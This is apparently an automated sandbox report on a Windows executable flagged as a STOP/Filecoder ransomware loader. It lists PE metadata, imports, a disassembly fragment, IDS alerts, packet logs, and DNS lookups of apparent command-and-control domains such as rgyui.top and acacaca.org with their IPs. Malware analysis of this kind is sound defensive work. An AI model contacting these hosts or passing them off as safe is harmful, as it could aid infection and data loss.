SHA512: 0e72593a34574b463b9db613c2c14ce73c10063c382fac8e2a8f9dfc10b38784fd3f2b83d92ef72f1720988d158da5872d79ac50ece53ac08e98b89dfc8b7112

SSDEEP: 24576:QnXVvjHfMfwQKIbr211TSgaUo6GF5iV8ig:QZUfwQvbr2p66GF4Vu

TLSH: 3F150100BA60C03DE5B645F4B9B6C3ECB92E3DA1672850CF12D52AEE56346E5EC72347

File Content 
Preview:

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........P|..1.[.1.[.1.[.c.[.1.[.c.[Y1.[..i[.1.[.1.[m1.[.c.[.1.[.c.[.1.[.c.[.1.[Rich.1.
[................PE..L......`................. .

Icon Hash: aedaae9ecea62aa2

Entrypoint: 0x40b200

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

DLL Characteristics: NX_COMPAT, TERMINAL_SERVER_AWARE

Time Stamp: 0x609ABE93 [Tue May 11 17:27:47 2021 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 5

OS Version Minor: 0

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db

Static File Info

General

File Icon

Static PE Info

General
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File Version Major: 5

File Version Minor: 0

Subsystem Version Major: 5

Subsystem Version Minor: 0

Import Hash: 36d58c3755c94d900745b5260c0b6d11

Instruction

mov edi, edi

push ebp

mov ebp, esp

call 00007FB7A073A70Bh

call 00007FB7A0730016h

pop ebp

ret 

int3 

int3 

int3 

int3 

int3 

int3 

int3 

int3 

int3 

int3 

int3 

int3 

int3 

int3 

int3 

mov edi, edi

push ebp

mov ebp, esp

push FFFFFFFEh

push 004317F0h

push 0040EE90h

mov eax, dword ptr fs:[00000000h]

push eax

add esp, FFFFFF94h

push ebx

push esi

push edi

mov eax, dword ptr [004C46E4h]

xor dword ptr [ebp-08h], eax

xor eax, ebp

push eax

lea eax, dword ptr [ebp-10h]

mov dword ptr fs:[00000000h], eax

mov dword ptr [ebp-18h], esp

mov dword ptr [ebp-70h], 00000000h

mov dword ptr [ebp-04h], 00000000h

lea eax, dword ptr [ebp-60h]

push eax

call dword ptr [004011CCh]

mov dword ptr [ebp-04h], FFFFFFFEh

jmp 00007FB7A0730028h

mov eax, 00000001h

ret 

mov esp, dword ptr [ebp-18h]

mov dword ptr [ebp-78h], 000000FFh

Entrypoint Preview
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mov dword ptr [ebp-04h], FFFFFFFEh

mov eax, dword ptr [ebp-78h]

jmp 00007FB7A0730158h

mov dword ptr [ebp-04h], FFFFFFFEh

call 00007FB7A0730194h

mov dword ptr [ebp-6Ch], eax

push 00000001h

call 00007FB7A073B9CAh

add esp, 04h

test eax, eax

jne 00007FB7A073000Ch

push 0000001Ch

call 00007FB7A073014Ch

add esp, 04h

call 00007FB7A07384E4h

test eax, eax

jne 00007FB7A073000Ch

push 00000010h

Instruction

Programming Language: [ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Name Virtual Address Virtual Size Is in Section

IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IMPORT 0x31f54 0x50 .text

IMAGE_DIRECTORY_ENTRY_RESOURCE 0xe0000 0x10c28 .rsrc

IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0

IMAGE_DIRECTORY_ENTRY_SECURITY 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BASERELOC 0x0 0x0

IMAGE_DIRECTORY_ENTRY_DEBUG 0x1310 0x1c .text

IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x8e48 0x40 .text

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IAT 0x1000 0x2bc .text

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x31fd2 0x32000 False 0.3757568359375 data 5.757555504377567 IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_MEM_READ

.data 0x33000 0xa8b88 0x92800 False 0.9924791355588737 data 7.992459218806266 IMAGE_SCN_CNT_INITIALIZE
D_DATA, 
IMAGE_SCN_MEM_READ, 
IMAGE_SCN_MEM_WRITE

.vegoda 0xdc000 0x5 0x200 False 0.02734375 data 0.0 IMAGE_SCN_CNT_INITIALIZE
D_DATA, 
IMAGE_SCN_MEM_READ, 
IMAGE_SCN_MEM_WRITE

.vujate 0xdd000 0x400 0x400 False 0.0166015625 data 0.0 IMAGE_SCN_CNT_INITIALIZE
D_DATA, 
IMAGE_SCN_MEM_READ, 
IMAGE_SCN_MEM_WRITE

Rich Headers

Data Directories

Sections
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.kab 0xde000 0x400 0x400 False 0.0166015625 data 0.0 IMAGE_SCN_CNT_INITIALIZE
D_DATA, 
IMAGE_SCN_MEM_READ, 
IMAGE_SCN_MEM_WRITE

.gamo 0xdf000 0x96 0x200 False 0.02734375 data 0.0 IMAGE_SCN_CNT_INITIALIZE
D_DATA, 
IMAGE_SCN_MEM_READ, 
IMAGE_SCN_MEM_WRITE

.rsrc 0xe0000 0x10c28 0x10e00 False 0.5514467592592592 data 5.521263644425167 IMAGE_SCN_CNT_INITIALIZE
D_DATA, 
IMAGE_SCN_MEM_READ

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

Name RVA Size Type Language Country

MIMELA 0xf0418 0x2fa ASCII text, with very long lines, with no line 
terminators

Korean North Korea

MIMELA 0xf0418 0x2fa ASCII text, with very long lines, with no line 
terminators

Korean South Korea

RT_ICON 0xe0680 0x6c8 data Korean North Korea

RT_ICON 0xe0680 0x6c8 data Korean South Korea

RT_ICON 0xe0d48 0x568 GLS_BINARY_LSB_FIRST Korean North Korea

RT_ICON 0xe0d48 0x568 GLS_BINARY_LSB_FIRST Korean South Korea

RT_ICON 0xe12b0 0x10a8 data Korean North Korea

RT_ICON 0xe12b0 0x10a8 data Korean South Korea

RT_ICON 0xe2358 0x988 dBase III DBT, version number 0, next free block 
index 40

Korean North Korea

RT_ICON 0xe2358 0x988 dBase III DBT, version number 0, next free block 
index 40

Korean South Korea

RT_ICON 0xe2ce0 0x468 GLS_BINARY_LSB_FIRST Korean North Korea

RT_ICON 0xe2ce0 0x468 GLS_BINARY_LSB_FIRST Korean South Korea

RT_ICON 0xe3198 0x8a8 dBase III DBT, version number 0, next free block 
index 40, 1st item "\251\317"

Korean North Korea

RT_ICON 0xe3198 0x8a8 dBase III DBT, version number 0, next free block 
index 40, 1st item "\251\317"

Korean South Korea

RT_ICON 0xe3a40 0x6c8 dBase III DBT, version number 0, next free block 
index 40, 1st item "\251\317"

Korean North Korea

RT_ICON 0xe3a40 0x6c8 dBase III DBT, version number 0, next free block 
index 40, 1st item "\251\317"

Korean South Korea

RT_ICON 0xe4108 0x568 GLS_BINARY_LSB_FIRST Korean North Korea

RT_ICON 0xe4108 0x568 GLS_BINARY_LSB_FIRST Korean South Korea

RT_ICON 0xe4670 0x10a8 data Korean North Korea

RT_ICON 0xe4670 0x10a8 data Korean South Korea

RT_ICON 0xe5718 0x988 data Korean North Korea

RT_ICON 0xe5718 0x988 data Korean South Korea

RT_ICON 0xe60a0 0x468 GLS_BINARY_LSB_FIRST Korean North Korea

RT_ICON 0xe60a0 0x468 GLS_BINARY_LSB_FIRST Korean South Korea

RT_ICON 0xe6568 0x25a8 data Korean North Korea

RT_ICON 0xe6568 0x25a8 data Korean South Korea

RT_ICON 0xe8b10 0x10a8 data Korean North Korea

RT_ICON 0xe8b10 0x10a8 data Korean South Korea

RT_ICON 0xe9be0 0xea8 data Korean North Korea

RT_ICON 0xe9be0 0xea8 data Korean South Korea

RT_ICON 0xeaa88 0x8a8 dBase IV DBT of @.DBF, block length 1024, next 
free block index 40, next free block 8305227, next 
used block 8370799

Korean North Korea

RT_ICON 0xeaa88 0x8a8 dBase IV DBT of @.DBF, block length 1024, next 
free block index 40, next free block 8305227, next 
used block 8370799

Korean South Korea

RT_ICON 0xeb330 0x6c8 data Korean North Korea

RT_ICON 0xeb330 0x6c8 data Korean South Korea

RT_ICON 0xeb9f8 0x568 GLS_BINARY_LSB_FIRST Korean North Korea

RT_ICON 0xeb9f8 0x568 GLS_BINARY_LSB_FIRST Korean South Korea

RT_ICON 0xebf60 0x25a8 data Korean North Korea

RT_ICON 0xebf60 0x25a8 data Korean South Korea

RT_ICON 0xee508 0x10a8 data Korean North Korea

Resources
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RT_ICON 0xee508 0x10a8 data Korean South Korea

RT_ICON 0xef5b0 0x988 data Korean North Korea

RT_ICON 0xef5b0 0x988 data Korean South Korea

RT_ICON 0xeff38 0x468 GLS_BINARY_LSB_FIRST Korean North Korea

RT_ICON 0xeff38 0x468 GLS_BINARY_LSB_FIRST Korean South Korea

RT_STRING 0xf0928 0xac data Korean North Korea

RT_STRING 0xf0928 0xac data Korean South Korea

RT_STRING 0xf09d8 0x24e data Korean North Korea

RT_STRING 0xf09d8 0x24e data Korean South Korea

RT_ACCELERATOR 0xf0788 0x60 data Korean North Korea

RT_ACCELERATOR 0xf0788 0x60 data Korean South Korea

RT_ACCELERATOR 0xf0718 0x70 data Korean North Korea

RT_ACCELERATOR 0xf0718 0x70 data Korean South Korea

RT_GROUP_ICON 0xe9bb8 0x22 data Korean North Korea

RT_GROUP_ICON 0xe9bb8 0x22 data Korean South Korea

RT_GROUP_ICON 0xe6508 0x5a data Korean North Korea

RT_GROUP_ICON 0xe6508 0x5a data Korean South Korea

RT_GROUP_ICON 0xf03a0 0x76 data Korean North Korea

RT_GROUP_ICON 0xf03a0 0x76 data Korean South Korea

RT_GROUP_ICON 0xe3148 0x4c data Korean North Korea

RT_GROUP_ICON 0xe3148 0x4c data Korean South Korea

RT_VERSION 0xf07e8 0x13c data Korean North Korea

RT_VERSION 0xf07e8 0x13c data Korean South Korea

Name RVA Size Type Language Country

DLL Import

KERNEL32.dll VerifyVersionInfoW, WriteConsoleInputW, EnumDateFormatsA, FindNextFileW, CopyFileExA, 
DnsHostnameToComputerNameA, ReadConsoleOutputCharacterA, FlushConsoleInputBuffer, LockFile, 
GetProfileSectionA, QueryDosDeviceA, IsSystemResumeAutomatic, GetProcessPriorityBoost, GlobalGetAtomNameA, 
lstrlenA, FindNextVolumeMountPointW, GlobalDeleteAtom, WriteConsoleInputA, GetConsoleTitleA, 
GetComputerNameExA, OpenEventW, CallNamedPipeA, GetModuleHandleW, GetSystemDirectoryA, 
SetCurrentDirectoryA, BuildCommDCBAndTimeoutsA, GetProcAddress, LoadLibraryA, MoveFileWithProgressW, 
SetLastError, GetCommandLineA, CopyFileW, CreateActCtxA, FormatMessageW, LeaveCriticalSection, 
FindNextVolumeW, GetOverlappedResult, CreateNamedPipeW, GetSystemDefaultLangID, 
GetConsoleAliasesLengthW, WriteProfileSectionW, AddAtomA, InterlockedIncrement, HeapSize, _hwrite, 
GetStartupInfoW, CreateMailslotA, IsDBCSLeadByte, GetSystemWow64DirectoryW, GetLastError, 
GetPrivateProfileIntA, GetConsoleAliasExesLengthW, VerifyVersionInfoA, GetTickCount, InterlockedExchangeAdd, 
LoadLibraryW, ExitThread, GetOEMCP, lstrcpyA, GetConsoleAliasW, GetPrivateProfileStructW, 
GetDiskFreeSpaceExW, TerminateThread, EnumResourceLanguagesA, GetCPInfoExW, SetConsoleWindowInfo, 
GlobalGetAtomNameW, WriteConsoleA, EnumSystemLocalesA, FileTimeToSystemTime, ResetEvent, LockFileEx, 
MoveFileA, CreateMutexA, FindResourceA, SetCommState, InterlockedCompareExchange, ConvertThreadToFiber, 
GetConsoleFontSize, LocalAlloc, lstrcpyW, HeapFree, GetFileAttributesA, GetSystemWindowsDirectoryW, 
GetConsoleAliasesW, EnumDateFormatsExA, GetComputerNameW, GetPrivateProfileStructA, OpenWaitableTimerW, 
EnumResourceNamesW, FillConsoleOutputCharacterA, GetFullPathNameA, GetThreadPriority, 
MapUserPhysicalPages, WriteConsoleOutputCharacterA, OpenJobObjectA, CreateFileW, 
BuildCommDCBAndTimeoutsW, SetCurrentDirectoryW, SetCalendarInfoA, GetFileInformationByHandle, 
GetDefaultCommConfigW, LocalSize, DebugBreak, lstrcatA, InterlockedDecrement, Sleep, InitializeCriticalSection, 
DeleteCriticalSection, EnterCriticalSection, RaiseException, RtlUnwind, GetStartupInfoA, HeapValidate, IsBadReadPtr, 
UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameW, TerminateProcess, 
GetCurrentProcess, IsDebuggerPresent, GetModuleHandleA, TlsGetValue, TlsAlloc, TlsSetValue, 
GetCurrentThreadId, TlsFree, SetFilePointer, SetHandleCount, GetStdHandle, GetFileType, 
QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, ExitProcess, GetModuleFileNameA, 
FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, 
GetEnvironmentStringsW, HeapDestroy, HeapCreate, VirtualFree, WriteFile, HeapAlloc, HeapReAlloc, VirtualAlloc, 
GetACP, GetCPInfo, IsValidCodePage, FlushFileBuffers, GetConsoleCP, GetConsoleMode, OutputDebugStringA, 
WriteConsoleW, OutputDebugStringW, InitializeCriticalSectionAndSpinCount, SetStdHandle, MultiByteToWideChar, 
LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetConsoleOutputCP, 
CloseHandle, CreateFileA

USER32.dll CharUpperA, GetCursorInfo

ADVAPI32.dll ImpersonateNamedPipeClient, AbortSystemShutdownW

Language of compilation system Country where language is spoken Map

Korean North Korea

Imports

Possible Origin
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Korean South Korea

Language of compilation system Country where language is spoken Map

Timestamp Protocol SID Message
Source
Port

Dest
Port

Source IP Dest IP

192.168.2.75.163.244.118
49773802020826 
08/05/22-
11:22:43.247171

TCP 202082
6

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 49773 80 192.168.2.7 5.163.244.11
8

192.168.2.75.163.244.118
49773802036333 
08/05/22-
11:22:43.247171

TCP 203633
3

ET TROJAN Win32/Vodkagats Loader Requesting Payload 49773 80 192.168.2.7 5.163.244.11
8

192.168.2.7151.251.24.54
9771802036333 
08/05/22-
11:22:38.857196

TCP 203633
3

ET TROJAN Win32/Vodkagats Loader Requesting Payload 49771 80 192.168.2.7 151.251.24.5

5.163.244.118192.168.2.7
80497722036335 
08/05/22-
11:22:39.229470

TCP 203633
5

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 80 49772 5.163.244.11
8

192.168.2.7

192.168.2.78.8.8.8505195
32023883 08/05/22-
11:22:38.301805

UDP 202388
3

ET DNS Query to a *.top domain - Likely Hostile 50519 53 192.168.2.7 8.8.8.8

192.168.2.7151.251.24.54
9771802020826 
08/05/22-
11:22:38.857196

TCP 202082
6

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 49771 80 192.168.2.7 151.251.24.5

Total Packets: 61

• 53 (DNS)

• 80 (HTTP)

• 443 (HTTPS)

Timestamp Source Port Dest Port Source IP Dest IP

Aug 5, 2022 11:22:25.451556921 CEST 49769 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:25.451632977 CEST 443 49769 162.0.217.254 192.168.2.7

Aug 5, 2022 11:22:25.451728106 CEST 49769 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:25.477121115 CEST 49769 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:25.477150917 CEST 443 49769 162.0.217.254 192.168.2.7

Aug 5, 2022 11:22:25.548422098 CEST 443 49769 162.0.217.254 192.168.2.7

Aug 5, 2022 11:22:25.548512936 CEST 49769 443 192.168.2.7 162.0.217.254

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets
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Aug 5, 2022 11:22:26.026685953 CEST 49769 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:26.026734114 CEST 443 49769 162.0.217.254 192.168.2.7

Aug 5, 2022 11:22:26.027153969 CEST 443 49769 162.0.217.254 192.168.2.7

Aug 5, 2022 11:22:26.027237892 CEST 49769 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:26.029961109 CEST 49769 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:26.064902067 CEST 443 49769 162.0.217.254 192.168.2.7

Aug 5, 2022 11:22:26.064989090 CEST 443 49769 162.0.217.254 192.168.2.7

Aug 5, 2022 11:22:26.065109968 CEST 49769 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:26.143016100 CEST 49769 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:26.143050909 CEST 443 49769 162.0.217.254 192.168.2.7

Aug 5, 2022 11:22:37.846954107 CEST 49770 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:37.847012043 CEST 443 49770 162.0.217.254 192.168.2.7

Aug 5, 2022 11:22:37.849558115 CEST 49770 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:37.867796898 CEST 49770 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:37.867856026 CEST 443 49770 162.0.217.254 192.168.2.7

Aug 5, 2022 11:22:37.927030087 CEST 443 49770 162.0.217.254 192.168.2.7

Aug 5, 2022 11:22:37.927129030 CEST 49770 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:37.953177929 CEST 49770 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:37.953191996 CEST 443 49770 162.0.217.254 192.168.2.7

Aug 5, 2022 11:22:37.953510046 CEST 443 49770 162.0.217.254 192.168.2.7

Aug 5, 2022 11:22:37.953672886 CEST 49770 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:37.956438065 CEST 49770 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:37.995450974 CEST 443 49770 162.0.217.254 192.168.2.7

Aug 5, 2022 11:22:37.995521069 CEST 443 49770 162.0.217.254 192.168.2.7

Aug 5, 2022 11:22:37.995559931 CEST 49770 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:37.995575905 CEST 49770 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:38.017263889 CEST 49770 443 192.168.2.7 162.0.217.254

Aug 5, 2022 11:22:38.017291069 CEST 443 49770 162.0.217.254 192.168.2.7

Aug 5, 2022 11:22:38.778563023 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:38.785398006 CEST 49772 80 192.168.2.7 5.163.244.118

Aug 5, 2022 11:22:38.830460072 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:38.830679893 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:38.857196093 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:38.889915943 CEST 80 49772 5.163.244.118 192.168.2.7

Aug 5, 2022 11:22:38.890028000 CEST 49772 80 192.168.2.7 5.163.244.118

Aug 5, 2022 11:22:38.890502930 CEST 49772 80 192.168.2.7 5.163.244.118

Aug 5, 2022 11:22:39.109101057 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.109188080 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.109190941 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.109297037 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.162894964 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.162992001 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.166897058 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.166965961 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.167325020 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.167376041 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.167558908 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.167637110 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.216969967 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.217041969 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.217133045 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.217256069 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.220964909 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.221039057 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.221467018 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.221579075 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.221980095 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.222048044 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.222397089 CEST 80 49771 151.251.24.5 192.168.2.7

Timestamp Source Port Dest Port Source IP Dest IP
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Aug 5, 2022 11:22:39.222425938 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.222470045 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.222501040 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.224776030 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.224877119 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.229470015 CEST 80 49772 5.163.244.118 192.168.2.7

Aug 5, 2022 11:22:39.229523897 CEST 80 49772 5.163.244.118 192.168.2.7

Aug 5, 2022 11:22:39.229619980 CEST 49772 80 192.168.2.7 5.163.244.118

Aug 5, 2022 11:22:39.229655027 CEST 49772 80 192.168.2.7 5.163.244.118

Aug 5, 2022 11:22:39.232878923 CEST 49772 80 192.168.2.7 5.163.244.118

Aug 5, 2022 11:22:39.270868063 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.271013021 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.275314093 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.275475979 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.275801897 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.275856972 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.276226044 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.276288033 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.276334047 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.276381016 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.280889988 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.280936003 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.281070948 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.281244993 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.281336069 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.281415939 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.281482935 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.281923056 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.282001019 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.282427073 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.282466888 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.282481909 CEST 49771 80 192.168.2.7 151.251.24.5

Aug 5, 2022 11:22:39.282497883 CEST 80 49771 151.251.24.5 192.168.2.7

Aug 5, 2022 11:22:39.282515049 CEST 49771 80 192.168.2.7 151.251.24.5

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Aug 5, 2022 11:22:25.342541933 CEST 63557 53 192.168.2.7 8.8.8.8

Aug 5, 2022 11:22:25.364336014 CEST 53 63557 8.8.8.8 192.168.2.7

Aug 5, 2022 11:22:37.783411980 CEST 60996 53 192.168.2.7 8.8.8.8

Aug 5, 2022 11:22:37.805608034 CEST 53 60996 8.8.8.8 192.168.2.7

Aug 5, 2022 11:22:38.301805019 CEST 50519 53 192.168.2.7 8.8.8.8

Aug 5, 2022 11:22:38.313730001 CEST 58715 53 192.168.2.7 8.8.8.8

Aug 5, 2022 11:22:38.728125095 CEST 53 50519 8.8.8.8 192.168.2.7

Aug 5, 2022 11:22:38.782913923 CEST 53 58715 8.8.8.8 192.168.2.7

Aug 5, 2022 11:22:48.490818024 CEST 60280 53 192.168.2.7 8.8.8.8

Aug 5, 2022 11:22:48.510196924 CEST 53 60280 8.8.8.8 192.168.2.7

Aug 5, 2022 11:22:53.439652920 CEST 54143 53 192.168.2.7 8.8.8.8

Aug 5, 2022 11:22:53.459090948 CEST 53 54143 8.8.8.8 192.168.2.7

Aug 5, 2022 11:22:57.608050108 CEST 60412 53 192.168.2.7 8.8.8.8

Aug 5, 2022 11:22:57.630995989 CEST 53 60412 8.8.8.8 192.168.2.7

Aug 5, 2022 11:22:59.569302082 CEST 54177 53 192.168.2.7 8.8.8.8

Aug 5, 2022 11:22:59.588488102 CEST 53 54177 8.8.8.8 192.168.2.7

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Aug 5, 2022 11:22:25.342541933 CEST 192.168.2.7 8.8.8.8 0xa815 Standard query 
(0)

api.2ip.ua A (IP address) IN (0x0001)

UDP Packets

DNS Queries
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Aug 5, 2022 11:22:37.783411980 CEST 192.168.2.7 8.8.8.8 0x9caf Standard query 
(0)

api.2ip.ua A (IP address) IN (0x0001)

Aug 5, 2022 11:22:38.301805019 CEST 192.168.2.7 8.8.8.8 0xd996 Standard query 
(0)

rgyui.top A (IP address) IN (0x0001)

Aug 5, 2022 11:22:38.313730001 CEST 192.168.2.7 8.8.8.8 0x6ac9 Standard query 
(0)

acacaca.org A (IP address) IN (0x0001)

Aug 5, 2022 11:22:48.490818024 CEST 192.168.2.7 8.8.8.8 0x6e7 Standard query 
(0)

api.2ip.ua A (IP address) IN (0x0001)

Aug 5, 2022 11:22:53.439652920 CEST 192.168.2.7 8.8.8.8 0xfbbb Standard query 
(0)

t.me A (IP address) IN (0x0001)

Aug 5, 2022 11:22:57.608050108 CEST 192.168.2.7 8.8.8.8 0x7c3c Standard query 
(0)

api.2ip.ua A (IP address) IN (0x0001)

Aug 5, 2022 11:22:59.569302082 CEST 192.168.2.7 8.8.8.8 0x3eb9 Standard query 
(0)

api.2ip.ua A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Aug 5, 2022 
11:22:25.364336014 CEST

8.8.8.8 192.168.2.7 0xa815 No error (0) api.2ip.ua 162.0.217.254 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:37.805608034 CEST

8.8.8.8 192.168.2.7 0x9caf No error (0) api.2ip.ua 162.0.217.254 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.728125095 CEST

8.8.8.8 192.168.2.7 0xd996 No error (0) rgyui.top 151.251.24.5 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.728125095 CEST

8.8.8.8 192.168.2.7 0xd996 No error (0) rgyui.top 187.170.251.250 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.728125095 CEST

8.8.8.8 192.168.2.7 0xd996 No error (0) rgyui.top 211.171.233.126 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.728125095 CEST

8.8.8.8 192.168.2.7 0xd996 No error (0) rgyui.top 210.92.250.133 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.728125095 CEST

8.8.8.8 192.168.2.7 0xd996 No error (0) rgyui.top 211.40.39.251 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.728125095 CEST

8.8.8.8 192.168.2.7 0xd996 No error (0) rgyui.top 211.59.14.90 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.728125095 CEST

8.8.8.8 192.168.2.7 0xd996 No error (0) rgyui.top 5.163.244.118 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.728125095 CEST

8.8.8.8 192.168.2.7 0xd996 No error (0) rgyui.top 109.98.58.98 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.728125095 CEST

8.8.8.8 192.168.2.7 0xd996 No error (0) rgyui.top 115.88.24.202 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.728125095 CEST

8.8.8.8 192.168.2.7 0xd996 No error (0) rgyui.top 31.166.90.88 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.782913923 CEST

